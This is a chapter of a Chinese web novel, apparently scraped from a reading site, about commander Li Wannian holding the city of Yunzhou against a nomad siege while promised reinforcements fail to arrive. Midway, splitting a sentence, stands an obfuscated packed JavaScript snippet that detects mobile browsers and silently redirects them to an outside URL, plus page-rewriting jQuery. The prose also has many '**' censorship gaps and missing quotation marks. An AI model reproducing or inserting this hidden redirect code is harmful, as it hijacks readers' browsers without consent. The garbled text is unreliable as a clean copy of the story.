太监尖细的嗓音,在满是血腥和煞气的城楼上,显得格外突兀。
“咱家乃是宫中特使,奉陛下旨意而来。”
那太监捏着嗓子,兰花指翘着,一方丝帕捂在鼻前,眼神里满是嫌恶与惊恐。
空气中那股血肉与焦糊混杂的浓烈气味,让他胃里一阵翻江倒海。
平日里待在皇城里,见的都是锦衣华服,香风雅致,何曾见过这般尸山血海的人间炼狱。
李万年大步走来,他身上的甲胄还带着未干的血点,脸上的冷峻与这肃杀的战场融为一体。
“末将李万年,见过天使。”
他声音沉稳,对着太监拱了拱手,不卑不亢。
他身后的李二牛、赵铁柱等人也跟着行礼,只是那眼神,都带着几分好奇和审视。
这就是京城里来的人?
太监就是这般的?
看着白白净净,娘们唧唧的。
“你就是李万年?”
太监上下打量着李万年,看到他满身的煞气和那双古井无波的眼睛,心里不由得咯噔一下。
这杀才,看起来就不好惹。
他不敢再拿捏架子,连忙清了清嗓子,从怀中小心翼翼地捧出一卷明黄色的圣旨。
“圣旨到!”
他尖着嗓子高喊。
李万年眼神一凝,当即单膝跪地。
“末将接旨!”
城楼上,还站着的士兵们呼啦啦跪倒一片。
“奉天承运皇帝,诏曰:”
“北境蛮族,凶残悖逆,侵我疆土,屠我子民,人神共愤!”
“北营校尉李万年,于国难之际,挺身而出,守土有功,深得朕心。”
“朕特旨!着令李万年总领云州城防要务,凡云州守军、民夫,皆受其节制!”
“朕已调派京营及北境边军,合成四十万大军,不日便到!望尔精忠报国,务必坚守云州,待天兵一至,尽扫蛮夷!”
“钦此!”
太监念完圣旨,长长地松了口气。
整个城楼上,先是死一般的寂静。
所有人都被圣旨里的内容给震住了。
尤其是那句“四十万大军,不日便到”!
四十万!
大军!
寂静之后,是山崩海啸般的狂喜!
“援军!朝廷的援军要来了!
“四十万大军!**,是四十万大军啊!
“哈哈哈哈!我们有救了!云州城守得住了!
一个断了胳膊的士兵,用仅剩的一只手激动地捶打着地面,又哭又笑。
“兄弟们!你们听到了吗!援军要来了!你们的仇,能报了!
压抑了一整天的绝望、恐惧、悲伤,在这一刻,被这个天大的好消息彻底引爆!
士兵们嘶吼着,宣泄着心中的激动。
原本因为伤亡惨重而低迷的士气,瞬间被注入了一剂最猛的强心针,直接拉到了顶峰!
就连太守刘敬之,此刻也是激动得满脸通红,眼眶湿润。
太好了!
只要援军一到,他们就可以高枕无忧了!
李万年双手接过圣旨,站起身。
“末将,领旨谢恩。
他的脸上看不出太多表情,只是对着这传旨太监说道:
“公公远道而来,一路辛劳。城中已备好驿馆,若是公公与各位禁军兄弟不嫌弃,可去好好歇息。
那太监听到这话,脸色“唰地一下更白了。
歇息?
在这鬼地方歇息?
开什么玩笑!
城外那压得人喘不过气来的蛮族大营,他刚才上城楼的时候可是看得清清楚楚。
那漫山遍野的帐篷和篝火,跟催命符似的。
万一蛮子打进城了,他这条小命还想不想要了?
“多……多谢李校尉的好意,不过……还是免了!
太监的脑袋摇着,丝帕捂得更紧了。
“咱家……咱家皇命在身,还需去别处宣旨,片刻也不敢耽搁!
“李校尉的心意,咱家心领了!心领了!
他一边说,一边已经开始往后退了。
那样子,恨不得立刻插上翅膀飞离这座要命的城池。
李万年看着他那副吓破了胆的模样,心中不屑,却也不点破。
“既然公公,公务在身,那下官便不强留了。
他转头对李二牛道:“二牛。
“在!
“让一队弟兄,带足
了火把,护送公公一行人安全离开云州城。”
“是!”
李二牛领命而去。
那太监听到这话,简直如蒙大赦地对着李万年拱手。
“哈……哈,那李校尉,咱家就不多打扰了,你好好守城!”
说完,他便带着那群同样归心似箭的禁军护卫,在一队陷阵营士兵的护送下,头也不回地,仓皇离开。
看着他们落荒而逃的背影,赵铁柱不屑地“呸”了一口。
“什么玩意儿!看到蛮子,腿都吓软了!还京营禁军,我呸!”
“少说两句。”
李万年淡淡地开口,目光却始终在那卷明黄的圣旨上。
援军要来的消息,如同长了翅膀,迅速传遍了云州城的每一个角落。
城内的百姓、民夫,听到这个消息,无不欢欣鼓舞,奔走相告。
整个云州城,一扫之前的阴霾和绝望,沉浸在一片乐观和希望的海洋里。
所有人都相信,最艰难的时刻已经过去,黎明就在眼前。
夜。
更深了。
喧嚣和欢庆渐渐平息。
李万年将城防的后续事宜交给了赵铁柱和王青山,独自一人,来到了城墙最高处。
他就这么站着,任由冰冷的夜风吹拂着他的脸颊。
身后,是燃起希望的城市。
身前,是沉默而致命的蛮族大营。
他的脸上,没有丝毫喜悦。
那双深邃的眼眸里,反而带着一股化不开的凝重。
四十万大军。
不日便到。
他对“不日便到”这四个字里蕴含的“艺术”,理解得实在是太深刻了。
什么叫“不日”?
明天到,叫不日。
几天后到,也叫不日。
甚至,更久一点,还能叫不日。
看来,如今是内忧外患加在一起了啊。
他还未参军时,就听说过一些地方有人闹起义,闹**。
就像是雨后的春笋一样,一茬又一茬的冒。
如今看来,可能情况更严重了一些。
希望,援军能尽快赶到吧。
若是能配合穆红缨,把蛮族这浩荡大军给包了饺子,
那这边境至少能平静个几十年。
黎明。
天光尚未刺破地平线上的黑暗,蛮族大营的号角声便已撕裂了清晨的宁静。
低沉、连绵。
仿佛从大地深处涌出的呜咽,带着一种不将眼前之城碾为齑粉誓不罢休的决绝。
圣旨带来的狂喜与希望,在这一刻被冰冷的现实迅速冷却。
城墙上,刚刚咽下两口粟米饭的士兵们猛地站起,抓起身旁的兵器。
他们脸上的疲惫还未散去,眼中却重新燃起了血色的火焰。
“来了。
李万年站在北城楼上,声音平静。
地平线上,黑色的潮水化作洪流,朝着云州城汹涌压来。
“各自为战!死守战位!
李万年的咆哮声在城墙上空回荡。
“赵铁柱!西城交给你!
“孙德旺!东城看你的!
“赵春生,协调所有民夫,哪里告急就往哪里增援!
“李二牛……
“……
……
命令被迅速传达下去,众人奔赴各自的防区。
云州城,这台在昨日被鲜血浸透的战争机器,再次发出不堪重负的嘶吼,疯狂运转起来。
李万年手持霸王枪,枪尖在晨曦中闪着冰冷的光。
如今,他唯一能做的,就是成为一面永不倒下的旗帜。
哪里最危险,他就在哪里。
“头儿!北墙!北墙的蛮子疯了!李二牛的吼声传来,他手中的双斧已经砍得卷了刃,身上也添了几道新伤。
北面,作为昨日的主战场,哈丹投入的兵力也最为雄厚。
十几架云梯几乎在同一时间搭上了城墙,密密麻麻的蛮兵如同被激怒的蚁群,不计伤亡地向上猛扑。
箭矢已经无法形成有效的压制,库存的滚木礌石消耗速度快得惊人。
战斗从一开始,就直接进入了最惨烈的白刃战。
李万年一个箭步冲到城垛边,手中霸王枪一抖,挽出一个枪花,枪尖如**出洞,瞬间贯穿了一名刚刚探出头的蛮兵的咽喉。
手腕一甩,那蛮兵的尸体便被他当做武器,狠狠砸向下方攀爬的另一名敌人。
“噗
!”
两名蛮兵串成一串惨叫着坠下城墙。
李万年枪出如龙没有一合之敌。
任何踏上他所在这段城墙的蛮兵都在瞬间被他或刺、或扫、或砸如同破布娃娃般被清理下去。
他的存在就是一道不可逾越的死亡防线。
陷阵营的士兵们看到主将如此神勇亦是士气大振嘶吼着与涌上来的敌人搏杀。
“杀!”
“跟着大人**这帮杂碎!”
然而整个云州城的城墙太长了。
李万年能守住一段却守不住所有地方。
西城墙。
赵铁柱浑身浴血一把佩刀**了七八个蛮兵刀口已经崩裂。
“换刀!”他怒吼一声从旁边一名牺牲的袍泽手中夺过一把长刀再次迎上。
一名蛮族百夫长注意到了他狞笑着挥舞狼牙棒当头砸下。
赵铁柱举刀格挡。
“铛!”
一声巨响火星四溅。
赵铁柱只觉得虎口剧痛整条手臂都麻了连退三步。
那蛮族百夫长力量惊人
“小心!”
一名年过三旬的陷阵营士兵猛地从侧面扑了过来用自己的身体狠狠撞在了那百夫长身上。
百夫长的攻势为之一滞。
就是这瞬间的空隙。
赵铁柱眼中厉色一闪不退反进手中长刀以一个诡异的角度自下而上狠狠捅进了百夫长的小腹!
“呃……”
百夫长低头难以置信地看着没入自己腹部的刀刃手中的狼牙棒无力地垂下。
可他身后的两名蛮兵反应极快两把弯刀同时劈向那名陷阵营老兵。
“噗嗤!”
陷阵营老兵的后背瞬间被砍出两道深可见骨的伤口鲜血喷涌而出。
他却咧开嘴露出一口被鲜血染红的牙齿死死抱住面前的蛮族百夫长用尽最后的力气嘶吼道:
“铁……铁柱!给……给我报仇!”
说完他拖着那名重伤的百夫长一同向城墙外倒去。
“不——!”
赵铁柱目眦欲裂,伸手去抓,却只抓到了一片虚空。
两人一同坠下数十米高的城墙,重重砸在下方堆积的尸体中,再无声息。
“啊——!
赵铁柱发出一声野兽般的咆哮,提刀冲入敌群,疯狂劈砍。
相似的场景,在城墙的每一寸上演。
一个刚被征召入伍,才训练了一天的年轻后生,被一刀砍中大腿。
他倒在地上,却在蛮兵低头查看的瞬间,一口咬住了对方的喉咙,用牙齿,硬生生撕下了一块血肉。
一名负责搬运物资的民夫,看到战友被**,抄起一根扁担就冲了上去,胡乱挥舞,竟也砸翻了一名蛮兵,然后被数把弯刀淹没。
没有人生来就是英雄。
他们只是不想家园被毁,不想身后的妻儿父母,沦为蛮族刀下的冤魂。
血战从清晨持续到黄昏。
城墙的砖石已经彻底变成了暗红色,粘稠的血液汇成细流,从垛口的缝隙间滴滴答答地落下。
尸体在城下堆积如山,甚至形成了一道血肉构成的斜坡。
云州守军的伤亡,已经达到了一个恐怖的数字。
阵亡超过一千五百人,伤者不计其数。
能站着的,几乎人人带伤。
城中的青壮,在刘太守含泪的动员下,拿着五花八门的武器,一批批地补充上城墙。
他们甚至不懂如何格杀,只是被告知,用手里的东西,对着爬上来的敌人,狠狠地捅,狠狠地砸。
夜幕,终于降临。
在付出数千人的伤亡后,蛮族大营终于鸣金收兵,结束了这一天疯狂的进攻。
城墙上,死一般的寂静。
活下来的人,连欢呼的力气都没有了。
他们一个个瘫坐在血泊中,靠着同伴冰冷的尸体,大口大口地喘息着。
李万年拄着霸王枪,站在尸堆之上。
他的百炼甲上布满了刀砍斧凿的痕迹,脸上溅满了敌人的血,那双眼睛,却亮得吓人。
他赢了今天。
但代价,是近两千条鲜活的生命。
“头儿……
赵铁柱走了过来,声音沙哑得不成样子,
“西城……西城墙,快撑不住了。
守
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174115|196863||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
城的弟兄,加上民夫,只剩下不到三百人了。
李万年沉默。
他看向东面,孙德旺手臂上缠着粗布,显然受了不小的伤。
北面,李二牛正一脚踹在一个哭嚎的年轻士兵屁股上。
“哭你娘个蛋!给老子站起来!把**身上的甲扒下来穿上!明天还得接着干!
整个云州城,所有的兵力,所有的物资,所有的意志,都已经被压榨到了极限。
夜里,蛮族并没有像之前一样彻底休战。
他们派出一股股的小部队,在城下大声叫骂,时而放几轮冷箭,时而敲响战鼓。
他们不求杀伤,只为骚扰。
不让城墙上的守军有任何喘息之机。
这是一种残忍的心理折磨。
李万年看着城外跳动的火光,听着那断断续续的鼓声,他知道,哈丹在等。
等城中守军的最后一丝力气,最后一丝精神,被彻底耗尽。
然后,在明天,给予最致命的一击。
他转过身,看着身后那一张张年轻、疲惫、沾满血污却依旧倔强的脸。
他缓缓开口,声音不大,却传遍了整个北城墙。
“弟兄们,怕吗?
无人回答。
“援军,就在路上。
李万年继续说道,
“四十万大军!只要我们再守住一天!不,半天!他们就能到!
“到时候,这帮城外的**,一个都跑不了!
“你们今天流的血,死去的袍泽,都能百倍千倍地讨回来!
“告诉我,你们有没有信心,再守一天!
死寂的城墙上,一个缺了门牙的老兵,颤颤巍巍地举起了手中的豁口钢刀。
“有!
他的声音,像是点燃了**桶。
“有!
“有!
“****!
绝望中,被强行点燃的希望,化作了最后的,也最疯狂的战意。
李万年看着这一切,心中却没有半点波澜。
他比谁都清楚。
所谓的“不日便到,一直是个未知数。
次日,天色微明。
云州城就像一个被折磨了
一夜,流尽了鲜血的巨人,仅凭着最后一口气,屹立不倒。
城墙上,每一个活着的士兵和民夫,双眼都布满了血丝,脸色憔悴得如同鬼魅。
连续两天的恶战,加上一夜未眠的骚扰,他们的精神和体力,都已濒临崩溃。
许多人甚至来不及处理身上的伤口,只是用布条草草一裹,便拄着兵器,重新站回了垛口边。
“大人,箭矢……已经不足两万支了。”
一名军需官脸色煞白地向李万年汇报,声音都在发抖。
“火油,只剩下最后二十桶。金汁也快烧完了。”
“城里铁匠铺连夜赶工,只打出了不到一千支箭簇,大部分还是劣质的铁料。木匠们把能拆的门板都拆了,也没凑出多少滚木……”
每一句话,都像一把锤子,狠狠地敲在所有人的心上。
李万年面无表情地听着,他没有去看军需官那本已经没有太多意义的账册,而是将目光投向城外。
蛮族的大营,在沉寂了一夜之后,再次骚动起来。
这一次,没有战鼓,没有号角。
只有一种令人窒息的沉默。
无数的蛮族步卒,从营帐中走出,默默地集结成一个个庞大的方阵。
他们没有携带云梯。
取而代之的,是数十辆巨大而简陋的,以及数不清的,用湿泥和兽皮包裹的冲车。
哈丹放弃了攀爬城墙,他要用最野蛮,最直接的方式,撞开这座已经摇摇欲坠的城池!
他看出了守军的窘境。
他要发动最后的总攻。
“所有人,上城墙!”
李万年的声音嘶哑,却依旧充满了不容置疑的力量。
城墙上,气氛凝重到了极点。
士兵们默默地将最后几壶滚油架在火上,将为数不多的箭矢搭在弦上。
他们知道,这或许是他们人生中,最后一次弯弓,最后一次投石。
李二牛提着一把新换的板斧,默默地擦拭着斧刃。
“头儿,要是俺栽在这儿了,记得跟俺娘说,俺没给她老人家丢人。”他难得没有咋咋呼呼,声音低沉。
赵铁柱拍了拍他的肩膀,咧开嘴想笑,却扯动了脸上的伤口,疼得龇牙咧嘴。
“放心,你这憨货命硬,阎王爷不收。
李万年看着他们,又看了看身边那些稚嫩或苍老的脸庞。
他缓缓举起了手中的霸王枪。
“云州!
他用尽全身力气,发出一声咆哮。
“有我无敌!
“有我无敌!
城墙上,所有幸存的军民,用嘶哑的喉咙,发出了最后的怒吼。
那声音,悲壮而惨烈,响彻云霄。
蛮族的总攻,开始了。
“杀!
山崩海啸般的喊杀声中,黑压压的蛮族大军,如同决堤的洪水,朝着云州城门,发动了最后的冲击。
数十辆攻城车在无数步卒的掩护下,嘎吱作响地向前推进。
“放箭!
稀稀拉拉的箭雨落下,对于披着厚重木板和兽皮的攻城车来说,无异于隔靴搔痒。
“礌石!砸!给老子狠狠地砸!
李二牛咆哮着,和几名士兵合力,将一块磨盘大小的石头推下城墙。
“轰!
礌石重重地砸在一辆攻城车的顶棚上,木屑四溅,顶棚凹陷下去一大块,但并未完全摧毁。
而守军的礌石,已经所剩无几。
战斗,从一开始就呈现出一边倒的态势。
守军们用尽了一切手段,弓箭、石头、甚至是拆下来的城砖,拼命地向城下投掷。
但蛮族的攻势,如同一头钢铁巨兽,坚定不移地向前推进。
“轰隆!
第一辆冲车,狠狠地撞在了北门之上!
厚重的城门发出一声痛苦的呻吟,门栓剧烈地颤动着。
城楼上的守军,心也跟着这撞击,狠狠地一颤。
“顶住!都给老子顶住!
城门后,上百名民夫用血肉之躯,死死地抵住城门。
“轰隆!
又是一次撞击。
城门上,出现了道道裂纹。
绝望,如同冰冷的海水,开始淹没每一个人的心。
李万年眼中血丝密布,他知道,城门一破,一切都完了。
他环顾四周,城墙上,守军已经倒下了一片又一片。
一个年轻的士兵,胸口插着三支箭,